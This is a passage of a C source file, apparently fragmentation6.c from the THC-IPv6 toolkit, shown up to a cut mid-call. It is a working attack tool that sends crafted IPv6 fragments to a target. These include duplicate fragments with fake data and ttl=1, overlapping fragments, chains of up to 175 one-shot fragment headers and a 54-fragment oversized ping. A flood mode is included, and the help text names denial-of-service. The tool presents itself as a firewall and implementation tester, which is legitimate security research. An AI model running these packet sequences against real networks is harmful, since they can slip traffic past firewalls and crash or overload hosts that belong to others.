/
fragmentation6.c
1890 lines (1819 loc) · 83.5 KB
/
fragmentation6.c
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/*
* checks if a firewall performs a check on a second, duplicate fragment
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <time.h>
#include <pcap.h>
#include "thc-ipv6.h"
int matched = 0, gtype1, gtype1a, gtype2, gtype2a, gpos, epos;
unsigned char *gpattern, *gsrc, *gdst;
void help(char *prg) {
printf("%s %s (c) 2022 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE);
printf(
"Syntax: %s [-fp] [-n number] interface destination [test-case-no]\n\n",
prg);
printf(
"-f activates flooding mode, no pauses between sends; -p disables first "
"and\n");
printf("final pings, -n number specifies how often each test is performed\n");
printf(
"\nPerforms fragment firewall and implementation checks, incl. "
"denial-of-service.\n");
exit(-1);
}
int main(int argc, char *argv[]) {
int count = 0, only = 0, i, flood = 0, ping = 1, resend = 1, curr = 0;
unsigned char buf[1500], bla[1200], tests[256], lbuf[67000];
unsigned char *dst6, *src6;
unsigned char *srcmac = NULL, *dstmac = NULL;
thc_ipv6_hdr * hdr;
int offset = 14, fragsize = 0;
unsigned char *pkt = NULL, *pkt2 = NULL, *pkt3 = NULL;
int pkt_len = 0, pkt_len2 = 0, pkt_len3 = 0;
char * interface, tos;
char ch = 'A';
if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]);
while ((i = getopt(argc, argv, "fpn:")) >= 0) {
switch (i) {
case 'n':
resend = atoi(optarg);
break;
case 'p':
ping = 0;
break;
case 'f':
flood = 1;
break;
default:
fprintf(stderr, "Error: invalid option %c\n", i);
exit(-1);
}
}
if (argc - optind < 2) help(argv[0]);
if (do_hdr_size) offset = do_hdr_size;
interface = argv[optind];
dst6 = thc_resolve6(argv[optind + 1]);
if (argc - optind > 2 && argv[optind + 2] != NULL)
only = atoi(argv[optind + 2]);
if (flood && (only == 0 || resend != 1)) {
fprintf(stderr,
"Error: the -f flood option must be used with a defined testcase, "
"and the -n option can not be used with it\n");
exit(-1);
}
if ((src6 = thc_get_own_ipv6(interface, dst6, PREFER_GLOBAL)) == NULL) {
fprintf(stderr, "Error: invalid interface %s\n", interface);
exit(-1);
}
srcmac = thc_get_own_mac(interface);
if ((dstmac = thc_get_mac(interface, src6, dst6)) == NULL) {
fprintf(stderr, "ERROR: Can not resolve mac address for %s\n", argv[2]);
exit(-1);
}
fragsize = ((200 - 62) / 8) * 8;
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
memset(tests, 0, sizeof(tests));
memset(lbuf, 'A', sizeof(lbuf));
printf("Run a sniffer behind the firewall to see what passes through\n\n");
memset(bla, ch++, sizeof(bla));
if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6,
dst6, 255, 0, count, 0, 0)) == NULL)
return -1;
thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe,
(unsigned char *)&bla, sizeof(bla), 0);
if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1;
/**/ memset(bla, 'Z', sizeof(bla));
if ((pkt2 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len2,
src6, dst6, 255, 0, count, 0, 0)) ==
NULL)
return -1;
thc_add_icmp6(pkt2, &pkt_len2, ICMP6_PINGREQUEST, 0, 0xfacebabe,
(unsigned char *)&bla, sizeof(bla), 0);
if (thc_generate_pkt(interface, srcmac, dstmac, pkt2, &pkt_len2) < 0)
return -1;
// dummy, dont remove, incomplete by choice
if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3,
src6, dst6, 64, 0, count, 0, 0)) == NULL)
return -1;
printf("ATTACK initialisation\n");
if (ping) {
printf(" Sending ping to %s\n", argv[optind + 1]);
thc_ping6(interface, src6, dst6, 10, 1);
// printf("Now sleeping for 1 second\n");
sleep(1);
}
curr = 0;
if (only == ++count || only == 0)
while (curr < resend || flood) {
if (flood == 0 || curr == 0)
printf(
"ATTACK Firewall %d - resending fragments with different data "
"within stream (2nd real)\n",
count);
if (flood == 0 || curr == 0) printf(" Sending first fragment\n");
hdr = (thc_ipv6_hdr *)pkt;
pkt3 = thc_destroy_packet(pkt3);
if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3,
src6, dst6, 64, 0, count, 0, 0)) ==
NULL)
return -1;
if (thc_add_hdr_fragment(pkt3, &pkt_len3, 0, 1, count + curr)) return -1;
memcpy(buf, hdr->pkt + 40 + offset, 400 + 8);
if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 408)) return -1;
thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3,
&pkt_len3); // ignore
if (flood == 0 || curr == 0)
printf(" Sending second fragment with fake data and ttl=1\n");
pkt3 = thc_destroy_packet(pkt3);
hdr = (thc_ipv6_hdr *)pkt2;
if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3,
src6, dst6, 1, 0, count, 0, 0)) ==
NULL)
return -1;
if (thc_add_hdr_fragment(pkt3, &pkt_len3, 51, 1, count + curr)) return -1;
memcpy(buf, hdr->pkt + 40 + offset + 400 + 8, 400);
if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1;
thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3,
&pkt_len3); // ignore
// printf("Now sleeping for 1 second\n");
if (!flood) sleep(1);
if (flood == 0 || curr == 0)
printf(
" Sending duplicate second fragment with real data and ttl=64\n");
pkt3 = thc_destroy_packet(pkt3);
hdr = (thc_ipv6_hdr *)pkt;
if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3,
src6, dst6, 64, 0, count, 0, 0)) ==
NULL)
return -1;
if (thc_add_hdr_fragment(pkt3, &pkt_len3, 51, 1, count + curr)) return -1;
memcpy(buf, hdr->pkt + 40 + offset + 400 + 8, 400);
if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1;
thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3,
&pkt_len3); // ignore
if (!flood) sleep(1);
if (flood == 0 || curr == 0)
printf(" Sending third and final fragment\n");
pkt3 = thc_destroy_packet(pkt3);
hdr = (thc_ipv6_hdr *)pkt;
if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3,
src6, dst6, 64, 0, count, 0, 0)) ==
NULL)
return -1;
if (thc_add_hdr_fragment(pkt3, &pkt_len3, 101, 0, count + curr))
return -1;
memcpy(buf, hdr->pkt + 40 + offset + 808, 400);
if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1;
thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3,
&pkt_len3); // ignore
if (!flood) sleep(1);
curr++;
}
curr = 0;
if (only == ++count || only == 0)
while (curr < resend || flood) {
if (flood == 0 || curr == 0)
printf(
"ATTACK Firewall %d - resending fragments with different data "
"within stream (1st real, 2nd ttl 1)\n",
count);
if (flood == 0 || curr == 0) printf(" Sending first fragment\n");
hdr = (thc_ipv6_hdr *)pkt;
pkt3 = thc_destroy_packet(pkt3);
if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3,
src6, dst6, 64, 0, count, 0, 0)) ==
NULL)
return -1;
if (thc_add_hdr_fragment(pkt3, &pkt_len3, 0, 1, count + curr)) return -1;
memcpy(buf, hdr->pkt + 40 + offset, 400 + 8);
if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 408)) return -1;
thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3,
&pkt_len3); // ignore
if (flood == 0 || curr == 0)
printf(
" Sending duplicate second fragment with real data and ttl=64\n");
pkt3 = thc_destroy_packet(pkt3);
hdr = (thc_ipv6_hdr *)pkt;
if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3,
src6, dst6, 64, 0, count, 0, 0)) ==
NULL)
return -1;
if (thc_add_hdr_fragment(pkt3, &pkt_len3, 51, 1, count + curr)) return -1;
memcpy(buf, hdr->pkt + 40 + offset + 400 + 8, 400);
if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1;
thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3,
&pkt_len3); // ignore
if (!flood) sleep(1);
if (flood == 0 || curr == 0)
printf(" Sending second fragment with fake data and ttl=1\n");
pkt3 = thc_destroy_packet(pkt3);
hdr = (thc_ipv6_hdr *)pkt2;
if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3,
src6, dst6, 1, 0, count, 0, 0)) ==
NULL)
return -1;
if (thc_add_hdr_fragment(pkt3, &pkt_len3, 51, 1, count + curr)) return -1;
memcpy(buf, hdr->pkt + 40 + offset + 400 + 8, 400);
if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1;
thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3,
&pkt_len3); // ignore
// printf("Now sleeping for 1 second\n");
if (!flood) sleep(1);
if (flood == 0 || curr == 0)
printf(" Sending third and final fragment\n");
pkt3 = thc_destroy_packet(pkt3);
hdr = (thc_ipv6_hdr *)pkt;
if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3,
src6, dst6, 64, 0, count, 0, 0)) ==
NULL)
return -1;
if (thc_add_hdr_fragment(pkt3, &pkt_len3, 101, 0, count + curr))
return -1;
memcpy(buf, hdr->pkt + 40 + offset + 808, 400);
if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1;
thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3,
&pkt_len3); // ignore
if (!flood) sleep(1);
curr++;
}
curr = 0;
if (only == ++count || only == 0)
while (curr < resend || flood) {
if (flood == 0 || curr == 0)
printf(
"ATTACK Firewall %d - resending fragments with different data "
"within stream (1st real)\n",
count);
if (flood == 0 || curr == 0) printf(" Sending first fragment\n");
hdr = (thc_ipv6_hdr *)pkt;
pkt3 = thc_destroy_packet(pkt3);
if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3,
src6, dst6, 64, 0, count, 0, 0)) ==
NULL)
return -1;
if (thc_add_hdr_fragment(pkt3, &pkt_len3, 0, 1, count + curr)) return -1;
memcpy(buf, hdr->pkt + 40 + offset, 400 + 8);
if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 408)) return -1;
thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3,
&pkt_len3); // ignore
if (flood == 0 || curr == 0)
printf(" Sending duplicate second fragment with real data\n");
pkt3 = thc_destroy_packet(pkt3);
hdr = (thc_ipv6_hdr *)pkt;
if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3,
src6, dst6, 64, 0, count, 0, 0)) ==
NULL)
return -1;
if (thc_add_hdr_fragment(pkt3, &pkt_len3, 51, 1, count + curr)) return -1;
memcpy(buf, hdr->pkt + 40 + offset + 400 + 8, 400);
if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1;
thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3,
&pkt_len3); // ignore
if (!flood) sleep(1);
if (flood == 0 || curr == 0)
printf(" Sending second fragment with fake data\n");
pkt3 = thc_destroy_packet(pkt3);
hdr = (thc_ipv6_hdr *)pkt2;
if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3,
src6, dst6, 64, 0, count, 0, 0)) ==
NULL)
return -1;
if (thc_add_hdr_fragment(pkt3, &pkt_len3, 51, 1, count + curr)) return -1;
memcpy(buf, hdr->pkt + 40 + offset + 400 + 8, 400);
if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1;
thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3,
&pkt_len3); // ignore
// printf("Now sleeping for 1 second\n");
if (!flood) sleep(1);
if (flood == 0 || curr == 0)
printf(" Sending third and final fragment\n");
pkt3 = thc_destroy_packet(pkt3);
hdr = (thc_ipv6_hdr *)pkt;
if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3,
src6, dst6, 64, 0, count, 0, 0)) ==
NULL)
return -1;
if (thc_add_hdr_fragment(pkt3, &pkt_len3, 101, 0, count + curr))
return -1;
memcpy(buf, hdr->pkt + 40 + offset + 808, 400);
if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1;
thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3,
&pkt_len3); // ignore
if (!flood) sleep(1);
curr++;
}
curr = 0;
if (only == ++count || only == 0)
while (curr < resend || flood) {
if (flood == 0 || curr == 0)
printf(
"ATTACK Firewall %d - resending fragments with different data "
"within stream (2nd real)\n",
count);
if (flood == 0 || curr == 0) printf(" Sending first fragment\n");
hdr = (thc_ipv6_hdr *)pkt;
pkt3 = thc_destroy_packet(pkt3);
if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3,
src6, dst6, 64, 0, count, 0, 0)) ==
NULL)
return -1;
if (thc_add_hdr_fragment(pkt3, &pkt_len3, 0, 1, count + curr)) return -1;
memcpy(buf, hdr->pkt + 40 + offset, 400 + 8);
if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 408)) return -1;
thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3,
&pkt_len3); // ignore
if (flood == 0 || curr == 0)
printf(" Sending second fragment with fake data\n");
pkt3 = thc_destroy_packet(pkt3);
hdr = (thc_ipv6_hdr *)pkt2;
if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3,
src6, dst6, 64, 0, count, 0, 0)) ==
NULL)
return -1;
if (thc_add_hdr_fragment(pkt3, &pkt_len3, 51, 1, count + curr)) return -1;
memcpy(buf, hdr->pkt + 40 + offset + 400 + 8, 400);
if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1;
thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3,
&pkt_len3); // ignore
// printf("Now sleeping for 1 second\n");
if (!flood) sleep(1);
if (flood == 0 || curr == 0)
printf(" Sending duplicate second fragment with real data\n");
pkt3 = thc_destroy_packet(pkt3);
hdr = (thc_ipv6_hdr *)pkt;
if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3,
src6, dst6, 64, 0, count, 0, 0)) ==
NULL)
return -1;
if (thc_add_hdr_fragment(pkt3, &pkt_len3, 51, 1, count + curr)) return -1;
memcpy(buf, hdr->pkt + 40 + offset + 400 + 8, 400);
if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1;
thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3,
&pkt_len3); // ignore
if (!flood) sleep(1);
if (flood == 0 || curr == 0)
printf(" Sending third and final fragment\n");
pkt3 = thc_destroy_packet(pkt3);
hdr = (thc_ipv6_hdr *)pkt;
if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3,
src6, dst6, 64, 0, count, 0, 0)) ==
NULL)
return -1;
if (thc_add_hdr_fragment(pkt3, &pkt_len3, 101, 0, count + curr))
return -1;
memcpy(buf, hdr->pkt + 40 + offset + 808, 400);
if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1;
thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3,
&pkt_len3); // ignore
if (!flood) sleep(1);
curr++;
}
curr = 0;
if (only == ++count || only == 0)
while (curr < resend || flood) {
if (flood == 0 || curr == 0)
printf(
"ATTACK Firewall %d - resending fragments with different data "
"after completion\n",
count);
if (flood == 0 || curr == 0) printf(" Sending first fragment\n");
pkt3 = thc_destroy_packet(pkt3);
hdr = (thc_ipv6_hdr *)pkt;
if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3,
src6, dst6, 64, 0, count, 0, 0)) ==
NULL)
return -1;
if (thc_add_hdr_fragment(pkt3, &pkt_len3, 0, 1, count + curr)) return -1;
memcpy(buf, hdr->pkt + 40 + offset, 400 + 8);
if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 408)) return -1;
thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3,
&pkt_len3); // ignore
if (flood == 0 || curr == 0) printf(" Sending second fragment\n");
pkt3 = thc_destroy_packet(pkt3);
hdr = (thc_ipv6_hdr *)pkt;
if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3,
src6, dst6, 64, 0, count, 0, 0)) ==
NULL)
return -1;
if (thc_add_hdr_fragment(pkt3, &pkt_len3, 51, 1, count + curr)) return -1;
memcpy(buf, hdr->pkt + 40 + offset + 400 + 8, 400);
if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1;
thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3,
&pkt_len3); // ignore
if (flood == 0 || curr == 0)
printf(" Sending third and final fragment\n");
pkt3 = thc_destroy_packet(pkt3);
hdr = (thc_ipv6_hdr *)pkt;
if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3,
src6, dst6, 64, 0, count, 0, 0)) ==
NULL)
return -1;
if (thc_add_hdr_fragment(pkt3, &pkt_len3, 101, 0, count + curr))
return -1;
memcpy(buf, hdr->pkt + 40 + offset + 808, 400);
if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1;
thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3,
&pkt_len3); // ignore
if (!flood) sleep(1);
if (flood == 0 || curr == 0)
printf(" Sending duplicate second fragment with fake data\n");
pkt3 = thc_destroy_packet(pkt3);
hdr = (thc_ipv6_hdr *)pkt2;
if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3,
src6, dst6, 64, 0, count, 0, 0)) ==
NULL)
return -1;
if (thc_add_hdr_fragment(pkt3, &pkt_len3, 51, 1, count + curr)) return -1;
memcpy(buf, hdr->pkt + 40 + offset + 400 + 8, 400);
if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1;
thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3,
&pkt_len3); // ignore
if (!flood) sleep(1);
curr++;
}
curr = 0;
if (only == ++count || only == 0)
while (curr < resend || flood) {
if (flood == 0 || curr == 0)
printf(
"ATTACK Firewall %d - overlapping third fragment into second with "
"valid data\n",
count);
if (flood == 0 || curr == 0) printf(" Sending first fragment\n");
hdr = (thc_ipv6_hdr *)pkt;
pkt3 = thc_destroy_packet(pkt3);
if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3,
src6, dst6, 64, 0, count, 0, 0)) ==
NULL)
return -1;
if (thc_add_hdr_fragment(pkt3, &pkt_len3, 0, 1, count + curr)) return -1;
memcpy(buf, hdr->pkt + 40 + offset, 400 + 8);
if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 408)) return -1;
thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3,
&pkt_len3); // ignore
if (flood == 0 || curr == 0) printf(" Sending second fragment\n");
pkt3 = thc_destroy_packet(pkt3);
hdr = (thc_ipv6_hdr *)pkt;
if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3,
src6, dst6, 64, 0, count, 0, 0)) ==
NULL)
return -1;
if (thc_add_hdr_fragment(pkt3, &pkt_len3, 51, 1, count + curr)) return -1;
memcpy(buf, hdr->pkt + 40 + offset + 400 + 8, 400);
if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1;
thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3,
&pkt_len3); // ignore
if (!flood) sleep(1);
if (flood == 0 || curr == 0)
printf(" Sending third and final fragment overlapping into second\n");
pkt3 = thc_destroy_packet(pkt3);
hdr = (thc_ipv6_hdr *)pkt;
if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3,
src6, dst6, 64, 0, count, 0, 0)) ==
NULL)
return -1;
if (thc_add_hdr_fragment(pkt3, &pkt_len3, 101 - 128 / 8, 0, count + curr))
return -1;
memcpy(buf, hdr->pkt + 40 + offset + 808 - 128, 400 + 128);
if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400 + 128)) return -1;
thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3,
&pkt_len3); // ignore
if (!flood) sleep(1);
curr++;
}
curr = 0;
if (only == ++count || only == 0)
while (curr < resend || flood) {
if (flood == 0 || curr == 0)
printf("ATTACK Firewall %d - overlapping third fragment into second\n",
count);
if (flood == 0 || curr == 0) printf(" Sending first fragment\n");
hdr = (thc_ipv6_hdr *)pkt;
pkt3 = thc_destroy_packet(pkt3);
if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3,
src6, dst6, 64, 0, count, 0, 0)) ==
NULL)
return -1;
if (thc_add_hdr_fragment(pkt3, &pkt_len3, 0, 1, count + curr)) return -1;
memcpy(buf, hdr->pkt + 40 + offset, 400 + 8);
if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 408)) return -1;
thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3,
&pkt_len3); // ignore
if (flood == 0 || curr == 0) printf(" Sending second fragment\n");
pkt3 = thc_destroy_packet(pkt3);
hdr = (thc_ipv6_hdr *)pkt;
if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3,
src6, dst6, 64, 0, count, 0, 0)) ==
NULL)
return -1;
if (thc_add_hdr_fragment(pkt3, &pkt_len3, 51, 1, count + curr)) return -1;
memcpy(buf, hdr->pkt + 40 + offset + 400 + 8, 400);
memset(buf + 400 - 128, 'Z',
128); // bad data we overwrite in next packet
if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1;
thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3,
&pkt_len3); // ignore
if (!flood) sleep(1);
if (flood == 0 || curr == 0)
printf(" Sending third and final fragment overlapping into second\n");
pkt3 = thc_destroy_packet(pkt3);
hdr = (thc_ipv6_hdr *)pkt;
if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3,
src6, dst6, 64, 0, count, 0, 0)) ==
NULL)
return -1;
if (thc_add_hdr_fragment(pkt3, &pkt_len3, 101 - 128 / 8, 0, count + curr))
return -1;
memcpy(buf, hdr->pkt + 40 + offset + 808 - 128, 400 + 128);
if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400 + 128)) return -1;
thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3,
&pkt_len3); // ignore
if (!flood) sleep(1);
curr++;
}
curr = 0;
if (only == ++count || only == 0)
while (curr < resend || flood) {
if (flood == 0 || curr == 0)
printf("ATTACK Firewall %d - overlapping second fragment into third\n",
count);
if (flood == 0 || curr == 0) printf(" Sending first fragment\n");
hdr = (thc_ipv6_hdr *)pkt;
pkt3 = thc_destroy_packet(pkt3);
if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3,
src6, dst6, 64, 0, count, 0, 0)) ==
NULL)
return -1;
if (thc_add_hdr_fragment(pkt3, &pkt_len3, 0, 1, count + curr)) return -1;
memcpy(buf, hdr->pkt + 40 + offset, 400 + 8);
if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 408)) return -1;
thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3,
&pkt_len3); // ignore
if (flood == 0 || curr == 0)
printf(" Sending third and final fragment - but not the last\n");
pkt3 = thc_destroy_packet(pkt3);
hdr = (thc_ipv6_hdr *)pkt;
if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3,
src6, dst6, 64, 0, count, 0, 0)) ==
NULL)
return -1;
if (thc_add_hdr_fragment(pkt3, &pkt_len3, 101, 0, count + curr))
return -1;
memcpy(buf, hdr->pkt + 40 + offset + 808, 400);
memset(buf, 'Z', 128);
if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1;
thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3,
&pkt_len3); // ignore
if (flood == 0 || curr == 0)
printf(" Sending second fragment overlapping into third\n");
pkt3 = thc_destroy_packet(pkt3);
hdr = (thc_ipv6_hdr *)pkt;
if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3,
src6, dst6, 64, 0, count, 0, 0)) ==
NULL)
return -1;
if (thc_add_hdr_fragment(pkt3, &pkt_len3, 51, 1, count + curr)) return -1;
memcpy(buf, hdr->pkt + 40 + offset + 400 + 8, 400 + 128);
if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400 + 128)) return -1;
thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3,
&pkt_len3); // ignore
if (!flood) sleep(1);
if (!flood) sleep(1);
curr++;
}
curr = 0;
if (only == ++count || only == 0)
while (curr < resend || flood) {
if (flood == 0 || curr == 0)
printf("ATTACK Implementation %d - one shot fragment\n", count);
if (flood == 0 || curr == 0) printf(" Sending one-shot fragment ping\n");
pkt3 = thc_destroy_packet(pkt3);
if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3,
src6, dst6, 255, 0, count, 0, 0)) ==
NULL)
return -1;
if (thc_add_hdr_oneshotfragment(pkt3, &pkt_len3,
0xfacebabe + count + curr) < 0)
return -1;
thc_add_icmp6(pkt3, &pkt_len3, ICMP6_PINGREQUEST, 0,
0xfacebabe + count + curr, (unsigned char *)&bla,
sizeof(bla), 0);
thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3,
&pkt_len3); // ignore
if (!flood) sleep(1);
curr++;
}
curr = 0;
if (only == ++count || only == 0)
while (curr < resend || flood) {
if (flood == 0 || curr == 0)
printf("ATTACK Implementation %d - double one shot fragments\n", count);
if (flood == 0 || curr == 0)
printf(" Sending double one-shot fragments ping\n");
pkt3 = thc_destroy_packet(pkt3);
if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3,
src6, dst6, 255, 0, count, 0, 0)) ==
NULL)
return -1;
if (thc_add_hdr_oneshotfragment(pkt3, &pkt_len3,
0xaaaa0000 + count + curr) < 0)
return -1;
if (thc_add_hdr_oneshotfragment(pkt3, &pkt_len3,
0xbbbb0000 + count + curr) < 0)
return -1;
thc_add_icmp6(pkt3, &pkt_len3, ICMP6_PINGREQUEST, 0,
0xfacebabe + count + curr, (unsigned char *)&bla,
sizeof(bla), 0);
thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3,
&pkt_len3); // ignore
if (!flood) sleep(1);
curr++;
}
curr = 0;
if (only == ++count || only == 0)
while (curr < resend || flood) {
if (flood == 0 || curr == 0)
printf("ATTACK Implementation %d - 137 one shot fragments\n", count);
if (flood == 0 || curr == 0)
printf(" Sending 137 one-shot fragments ping\n");
pkt3 = thc_destroy_packet(pkt3);
if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3,
src6, dst6, 255, 0, count, 0, 0)) ==
NULL)
return -1;
for (i = 0; i < 137; i++)
if (thc_add_hdr_oneshotfragment(
pkt3, &pkt_len3, 0xffff0000 + i + count + (curr << 7)) < 0)
return -1;
thc_add_icmp6(pkt3, &pkt_len3, ICMP6_PINGREQUEST, 0,
0xfacebabe + count + curr, (unsigned char *)&bla, 120, 0);
thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3,
&pkt_len3); // ignore
if (!flood) sleep(1);
curr++;
}
curr = 0;
if (only == ++count || only == 0)
while (curr < resend || flood) {
if (flood == 0 || curr == 0)
printf("ATTACK Implementation %d - 175 one shot fragments\n", count);
if (flood == 0 || curr == 0)
printf(" Sending 180 one-shot fragments ping\n");
pkt3 = thc_destroy_packet(pkt3);
if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3,
src6, dst6, 255, 0, count, 0, 0)) ==
NULL)
return -1;
for (i = 0; i < 175; i++)
if (thc_add_hdr_oneshotfragment(
pkt3, &pkt_len3, 0xffff0000 + i + count + (curr << 7)) < 0)
return -1;
thc_add_icmp6(pkt3, &pkt_len3, ICMP6_PINGREQUEST, 0,
0xfacebabe + count + curr, (unsigned char *)&bla, 8, 0);
thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3,
&pkt_len3); // ignore
if (!flood) sleep(1);
curr++;
}
curr = 0;
if (only == ++count || only == 0)
while (curr < resend || flood) {
memset(lbuf, only % 256, sizeof(lbuf));
if (flood == 0 || curr == 0)
printf(
"ATTACK Implementation %d - sending 65486 bytes in 54 fragments\n",
count);
if (flood == 0 || curr == 0) printf(" Sending 54 fragments ping\n");
pkt3 = thc_destroy_packet(pkt3);
if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3,
src6, dst6, 255, 0, count, 0, 0)) ==
NULL)
return -1;
thc_add_icmp6(pkt3, &pkt_len3, ICMP6_PINGREQUEST, 0,
0xfacebabe + count + curr, (unsigned char *)&lbuf, 65486,
0);
thc_generate_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore
hdr = (thc_ipv6_hdr *)pkt3;
thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6,
